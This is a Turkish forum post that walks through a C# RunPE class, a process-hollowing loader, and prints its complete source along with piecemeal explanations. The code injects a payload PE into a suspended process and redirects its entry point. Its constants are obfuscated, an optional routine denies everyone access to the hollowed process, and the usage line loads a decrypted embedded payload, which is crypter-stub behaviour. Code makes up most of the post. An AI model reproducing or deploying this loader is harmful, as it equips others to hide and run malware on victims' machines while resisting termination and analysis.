Selam bugün C# ile yazılmış bir RunPE kodunu analiz edeceğiz.
Çalışma mantığına göz atacağız.
Analiz edeceğimiz RunPE profesyonel bir RunPE olduğu için analizi zor gelebilir.
O yüzden konuyu incelemeden önce biraz daha araştırma yaparak bellek yönetimi ile ilgili kavramlarını öğrenmenizi tavsiye ediyorum.
Koda geçelim öncelikle kodun tamamını veriyorum.
Kütüphaneler;
Kodun part part analizine başlayalım.
İlk olarak API'lere bakalım.
CreateProcess: Yeni bir işlem ve işlemde bir thread (iş parçacığı) oluşturur.
GetThreadContext / Wow64GetThreadContext: İş parçacığının bağlamını örn. işlemcinin kaydedicilerini okur.
SetThreadContext / Wow64SetThreadContext: İş parçacığının bağlamını ayarlar.
ReadProcessMemory: Belirtilen işlemden bellek okur.
WriteProcessMemory: Belirtilen işlem belleğine veri yazar.
NtUnmapViewOfSection: Bir sürecin sanal adres alanındaki bir bölümü serbest bırakır.
VirtualAllocEx: Belirtilen bir işlem için bellek tahsis eder.
ResumeThread: Askıya alınmış bir iş parçacığını devam ettirir.
Devam edelim.
Bu fonksiyon hedef bir PE dosyasını belirli bir yol (path) üzerinden çalıştırmayı ve verilen PE verisini (data) bellek içinde bir süreçte enjekte etmeyi amaçlar.
Şimdide Handlerun fonksiyonuna bakalım.
Bu fonksiyon bellek manipülasyonu ve sürecin hazırlanması işlemlerinin detaylı bir şekilde gerçekleştirildiği ana işlemdir.
Süreç Belleğinin Yeniden Haritalanmasına bakalım.
Yeni Bellek Tahsisine bakalım.
Eğer başlatılan sürecin belleğinde ImageBase adresi ile çakışma varsa o alan serbest bırakılır ve yeni alan tahsis edilir.
PE Başlığı Okuma kısımlarına bakalım.
PE'nin bölümleri örn kod, veri, kaynak gibi hedef sürecin belleğine yazılır.
PE Bölümlerine nasıl yazılıyor bakalım.
Giriş Noktasının Ayarlanması ve Sürecin Devam Ettirilmesine bakalım.
Koruma Mekanizmasına bakalım.
GetKernelObjectSecurity ve SetKernelObjectSecurity : Bu işlevler sürecin güvenlik tanımlayıcısını (security descriptor) elde etmek ve güncellemek için kullanılır.
RawSecurityDescriptor : İşlem üzerinde ACE (Access Control Entry) eklenerek sürece erişimi kısıtlar.
Hata durumlarında ise ne oluyor bakalım.
Bu hata durumunda başlatılan süreç sonlandırılır ve false döndürülür.
Şimdide son kısma bakalım.
Bu kısımların üstünden geçeyim detaylı anlatırsam konu çok uzar o yüzden mantık şu şekilde;
ProcessAccessRights bir işlem nesnesi üzerinde gerçekleştirilmesi gereken işlemleri tanımlayan erişim haklarıdır.
İşlevleri;
PROCESS_VM_READ (16): Bellek okuma.
PROCESS_VM_WRITE (32): Bellek yazma.
PROCESS_TERMINATE (1): İşlemi sonlandırma.
PROCESS_ALL_ACCESS (987135): Tüm haklar.
RunPE bu hakları hedef işlemi manipüle etmek ve korumak için kullanır.
Örnek kullanım;
Genel olarak bu şekilde açıklanabilir RunPE kavramı aslında sadece bir kodla sınırlı değil.
LoadPE, Process Hollowing gibi kavramlarda vardır.
Belki ileride onlarıda anlatırız neyse bugünlük bu kadar eksikleri görürseniz aşağı yazarsınız iyi forumlar.
Çalışma mantığına göz atacağız.
Analiz edeceğimiz RunPE profesyonel bir RunPE olduğu için analizi zor gelebilir.
O yüzden konuyu incelemeden önce biraz daha araştırma yaparak bellek yönetimi ile ilgili kavramlarını öğrenmenizi tavsiye ediyorum.
Koda geçelim öncelikle kodun tamamını veriyorum.
C#:
#region RunPE Class
public static class RunPE
[DllImport("kernel32.dll", EntryPoint = "CreateProcess", CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]
private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
[DllImport("kernel32.dll", EntryPoint = "GetThreadContext"), SuppressUnmanagedCodeSecurity]
private static extern bool GetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "Wow64GetThreadContext"), SuppressUnmanagedCodeSecurity]
private static extern bool Wow64GetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "SetThreadContext"), SuppressUnmanagedCodeSecurity]
private static extern bool SetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "Wow64SetThreadContext"), SuppressUnmanagedCodeSecurity]
private static extern bool Wow64SetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory"), SuppressUnmanagedCodeSecurity]
private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory"), SuppressUnmanagedCodeSecurity]
private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
[DllImport("ntdll.dll", EntryPoint = "NtUnmapViewOfSection"), SuppressUnmanagedCodeSecurity]
private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress);
[DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx"), SuppressUnmanagedCodeSecurity]
private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
[DllImport("kernel32.dll", EntryPoint = "ResumeThread"), SuppressUnmanagedCodeSecurity]
private static extern int ResumeThread(IntPtr handle);
[StructLayout(LayoutKind.Sequential, Pack = 2 - 1)]
private struct ProcessInformation
{
public readonly IntPtr ProcessHandle;
public readonly IntPtr ThreadHandle;
public readonly uint ProcessId;
private readonly uint ThreadId;
}
[StructLayout(LayoutKind.Sequential, Pack = 3 - 2)]
private struct StartupInformation
{
public uint Size;
private readonly string Reserved1;
private readonly string Desktop;
private readonly string Title;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 18 + 18)] private readonly byte[] Misc;
private readonly IntPtr Reserved2;
private readonly IntPtr StdInput;
private readonly IntPtr StdOutput;
private readonly IntPtr StdError;
}
public static bool Run(string path, byte[] data, bool protect)
{
for (int I = 1; I <= 5; I++)
if (HandleRun(path, data, protect)) return true;
return false;
}
private static bool HandleRun(string path, byte[] data, bool protect)
{
int readWrite = 0;
string quotedPath = "#cmd";
StartupInformation si = new StartupInformation();
ProcessInformation pi = new ProcessInformation();
si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
try
{
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 2 + 2, IntPtr.Zero, null, ref si, ref pi)) throw new Exception();
int fileAddress = BitConverter.ToInt32(data, 120 / 2);
int imageBase = BitConverter.ToInt32(data, fileAddress + 26 + 26);
int[] context = new int[179];
context[0] = 32769 + 32769;
if (IntPtr.Size == 8 / 2)
{ if (!GetThreadContext(pi.ThreadHandle, context)) throw new Exception(); }
else
{ if (!Wow64GetThreadContext(pi.ThreadHandle, context)) throw new Exception(); }
int ebx = context[41];
int baseAddress = 1 - 1;
if (!ReadProcessMemory(pi.ProcessHandle, ebx + 4 + 4, ref baseAddress, 2 + 2, ref readWrite)) throw new Exception();
if (imageBase == baseAddress)
if (NtUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 1 - 1) throw new Exception();
int sizeOfImage = BitConverter.ToInt32(data, fileAddress + 160 / 2);
int sizeOfHeaders = BitConverter.ToInt32(data, fileAddress + 42 + 42);
bool allowOverride = false;
int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 6144 + 6144, 32 + 32);
if (newImageBase == 0) throw new Exception();
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, data, sizeOfHeaders, ref readWrite)) throw new Exception();
int sectionOffset = fileAddress + 124 * 2;
short numberOfSections = BitConverter.ToInt16(data, fileAddress + 3 + 3);
for (int I = 1 - 1; I < numberOfSections; I++)
{
int virtualAddress = BitConverter.ToInt32(data, sectionOffset + 6 + 6);
int sizeOfRawData = BitConverter.ToInt32(data, sectionOffset + 8 + 8);
int pointerToRawData = BitConverter.ToInt32(data, sectionOffset + 40 / 2);
if (sizeOfRawData != 1 - 1)
{
byte[] sectionData = new byte[sizeOfRawData];
Buffer.BlockCopy(data, pointerToRawData, sectionData, 2 - 2, sectionData.Length);
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite)) throw new Exception();
}
sectionOffset += 120 / 3;
}
byte[] pointerData = BitConverter.GetBytes(newImageBase);
if (!WriteProcessMemory(pi.ProcessHandle, ebx + 16 / 2, pointerData, 2 * 2, ref readWrite)) throw new Exception();
int addressOfEntryPoint = BitConverter.ToInt32(data, fileAddress + 80 / 2);
if (allowOverride) newImageBase = imageBase;
context[22 + 22] = newImageBase + addressOfEntryPoint;
if (IntPtr.Size == 2 + 2)
{
if (!SetThreadContext(pi.ThreadHandle, context)) throw new Exception();
}
else
{
if (!Wow64SetThreadContext(pi.ThreadHandle, context)) throw new Exception();
}
if (ResumeThread(pi.ThreadHandle) == -1) throw new Exception();
if (protect) Protect(pi.ProcessHandle);
}
catch
{
Process p = Process.GetProcessById(Convert.ToInt32(pi.ProcessId));
p.Kill();
return false;
}
return true;
}
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool GetKernelObjectSecurity(IntPtr Handle, int securityInformation, [Out] byte[] pSecurityDescriptor, uint nLength, ref uint lpnLengthNeeded);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool SetKernelObjectSecurity(IntPtr Handle, int securityInformation, [In] byte[] pSecurityDescriptor);
private static void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor rawSecurityDescriptor)
{
byte[] array = new byte[checked(rawSecurityDescriptor.BinaryLength - 1 + 1 - 1 + 1)];
rawSecurityDescriptor.GetBinaryForm(array, 0);
bool flag = !SetKernelObjectSecurity(processHandle, 4, array);
if (flag)
{
throw new Win32Exception();
}
}
private static T InlineAssignHelper<T>(ref T target, T value)
{
target = value;
return value;
}
private static RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle)
{
byte[] array = new byte[0];
uint bufferSize = new uint();
GetKernelObjectSecurity(processHandle, 4, array, 0u, ref bufferSize);
if (bufferSize < 0 || bufferSize > short.MaxValue)
{
throw new Win32Exception();
}
bool cdt = !GetKernelObjectSecurity(processHandle, 4, InlineAssignHelper<byte[]>(ref array, new byte[checked((int)(unchecked((ulong)bufferSize) - 1UL) + 1 - 1 + 1)]), bufferSize, ref bufferSize);
if (cdt)
{
throw new Win32Exception();
}
return new RawSecurityDescriptor(array, 0);
}
private static void Protect(IntPtr processHandle)
{
RawSecurityDescriptor rawSecurityDescriptor = GetProcessSecurityDescriptor(processHandle);
rawSecurityDescriptor.DiscretionaryAcl.InsertAce(0, new CommonAce(AceFlags.None, AceQualifier.AccessDenied, 987135, new SecurityIdentifier(WellKnownSidType.WorldSid, null), false, null));
SetProcessSecurityDescriptor(processHandle, rawSecurityDescriptor);
}
private enum ProcessAccessRights
{
DELETE = 65536,
ITE_OWNER = 524288,
PROCESS_ALL_ACCESS = 987135,
PROCESS_CREATE_PROCESS = 128,
PROCESS_CREATE_THREAD = 2,
PROCESS_DUP_HANDLE = 64,
PROCESS_QUERY_INFORMATION = 1024,
PROCESS_QUERY_LIMITED_INFORMATION = 4096,
PROCESS_SET_INFORMATION = 512,
PROCESS_SET_QUOTA = 256,
PROCESS_SUSPEND_RESUME = 2048,
PROCESS_TERMINATE = 1,
PROCESS_VM_OPERATION = 8,
PROCESS_VM_READ = 16,
PROCESS_VM_WRITE = 32,
READ_CONTROL = 131072,
STANDARD_RIGHTS_REQUIRED = 983040,
SYNCHRONIZE = 256,
WRITE_DAC = 262144
}
}
#endregion
}
Kütüphaneler;
C#:
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Resources;
using System.Reflection;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
Kodun part part analizine başlayalım.
İlk olarak API'lere bakalım.
C#:
[DllImport("kernel32.dll", EntryPoint = "CreateProcess", CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity]
private static extern bool CreateProcess(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
[DllImport("kernel32.dll", EntryPoint = "GetThreadContext"), SuppressUnmanagedCodeSecurity]
private static extern bool GetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "Wow64GetThreadContext"), SuppressUnmanagedCodeSecurity]
private static extern bool Wow64GetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "SetThreadContext"), SuppressUnmanagedCodeSecurity]
private static extern bool SetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "Wow64SetThreadContext"), SuppressUnmanagedCodeSecurity]
private static extern bool Wow64SetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", EntryPoint = "ReadProcessMemory"), SuppressUnmanagedCodeSecurity]
private static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
[DllImport("kernel32.dll", EntryPoint = "WriteProcessMemory"), SuppressUnmanagedCodeSecurity]
private static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
[DllImport("ntdll.dll", EntryPoint = "NtUnmapViewOfSection"), SuppressUnmanagedCodeSecurity]
private static extern int NtUnmapViewOfSection(IntPtr process, int baseAddress);
[DllImport("kernel32.dll", EntryPoint = "VirtualAllocEx"), SuppressUnmanagedCodeSecurity]
private static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
[DllImport("kernel32.dll", EntryPoint = "ResumeThread"), SuppressUnmanagedCodeSecurity]
private static extern int ResumeThread(IntPtr handle);
CreateProcess: Yeni bir işlem ve işlemde bir thread (iş parçacığı) oluşturur.
GetThreadContext / Wow64GetThreadContext: İş parçacığının bağlamını örn. işlemcinin kaydedicilerini okur.
SetThreadContext / Wow64SetThreadContext: İş parçacığının bağlamını ayarlar.
ReadProcessMemory: Belirtilen işlemden bellek okur.
WriteProcessMemory: Belirtilen işlem belleğine veri yazar.
NtUnmapViewOfSection: Bir sürecin sanal adres alanındaki bir bölümü serbest bırakır.
VirtualAllocEx: Belirtilen bir işlem için bellek tahsis eder.
ResumeThread: Askıya alınmış bir iş parçacığını devam ettirir.
Devam edelim.
C#:
public static bool Run(string path, byte[] data, bool protect)
Bu fonksiyon hedef bir PE dosyasını belirli bir yol (path) üzerinden çalıştırmayı ve verilen PE verisini (data) bellek içinde bir süreçte enjekte etmeyi amaçlar.
Şimdide Handlerun fonksiyonuna bakalım.
C#:
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 2 + 2, IntPtr.Zero, null, ref si, ref pi))
Bu fonksiyon bellek manipülasyonu ve sürecin hazırlanması işlemlerinin detaylı bir şekilde gerçekleştirildiği ana işlemdir.
Süreç Belleğinin Yeniden Haritalanmasına bakalım.
C#:
if (imageBase == baseAddress)
if (NtUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 1 - 1) throw new Exception();
Yeni Bellek Tahsisine bakalım.
C#:
int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 12288, 64);
if (newImageBase == 0) throw new Exception();
Eğer başlatılan sürecin belleğinde ImageBase adresi ile çakışma varsa o alan serbest bırakılır ve yeni alan tahsis edilir.
PE Başlığı Okuma kısımlarına bakalım.
C#:
int fileAddress = BitConverter.ToInt32(data, 120 / 2);
int imageBase = BitConverter.ToInt32(data, fileAddress + 52);
PE'nin bölümleri örn kod, veri, kaynak gibi hedef sürecin belleğine yazılır.
PE Bölümlerine nasıl yazılıyor bakalım.
C#:
for (int I = 0; I < numberOfSections; I++)
{
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite))
throw new Exception();
}
Giriş Noktasının Ayarlanması ve Sürecin Devam Ettirilmesine bakalım.
C#:
if (ResumeThread(pi.ThreadHandle) == -1) throw new Exception();
Koruma Mekanizmasına bakalım.
GetKernelObjectSecurity ve SetKernelObjectSecurity : Bu işlevler sürecin güvenlik tanımlayıcısını (security descriptor) elde etmek ve güncellemek için kullanılır.
RawSecurityDescriptor : İşlem üzerinde ACE (Access Control Entry) eklenerek sürece erişimi kısıtlar.
C#:
rawSecurityDescriptor.DiscretionaryAcl.InsertAce(0, new CommonAce(
AceFlags.None, AceQualifier.AccessDenied, 987135,
new SecurityIdentifier(WellKnownSidType.WorldSid, null),
false, null));
Hata durumlarında ise ne oluyor bakalım.
C#:
Process p = Process.GetProcessById(Convert.ToInt32(pi.ProcessId));
p.Kill();
return false;
Bu hata durumunda başlatılan süreç sonlandırılır ve false döndürülür.
Şimdide son kısma bakalım.
C#:
DELETE = 65536,
ITE_OWNER = 524288,
PROCESS_ALL_ACCESS = 987135,
PROCESS_CREATE_PROCESS = 128,
PROCESS_CREATE_THREAD = 2,
PROCESS_DUP_HANDLE = 64,
PROCESS_QUERY_INFORMATION = 1024,
PROCESS_QUERY_LIMITED_INFORMATION = 4096,
PROCESS_SET_INFORMATION = 512,
PROCESS_SET_QUOTA = 256,
PROCESS_SUSPEND_RESUME = 2048,
PROCESS_TERMINATE = 1,
PROCESS_VM_OPERATION = 8,
PROCESS_VM_READ = 16,
PROCESS_VM_WRITE = 32,
READ_CONTROL = 131072,
STANDARD_RIGHTS_REQUIRED = 983040,
SYNCHRONIZE = 256,
WRITE_DAC = 262144
Bu kısımların üstünden geçeyim detaylı anlatırsam konu çok uzar o yüzden mantık şu şekilde;
ProcessAccessRights bir işlem nesnesi üzerinde gerçekleştirilmesi gereken işlemleri tanımlayan erişim haklarıdır.
İşlevleri;
PROCESS_VM_READ (16): Bellek okuma.
PROCESS_VM_WRITE (32): Bellek yazma.
PROCESS_TERMINATE (1): İşlemi sonlandırma.
PROCESS_ALL_ACCESS (987135): Tüm haklar.
RunPE bu hakları hedef işlemi manipüle etmek ve korumak için kullanır.
Örnek kullanım;
C#:
RunPE.Run(#Injection, Cozulen_veri(GetResource("#Payload")), false);
Environment.Exit(0);
Genel olarak bu şekilde açıklanabilir RunPE kavramı aslında sadece bir kodla sınırlı değil.
LoadPE, Process Hollowing gibi kavramlarda vardır.
Belki ileride onlarıda anlatırız neyse bugünlük bu kadar eksikleri görürseniz aşağı yazarsınız iyi forumlar.
Son düzenleme:




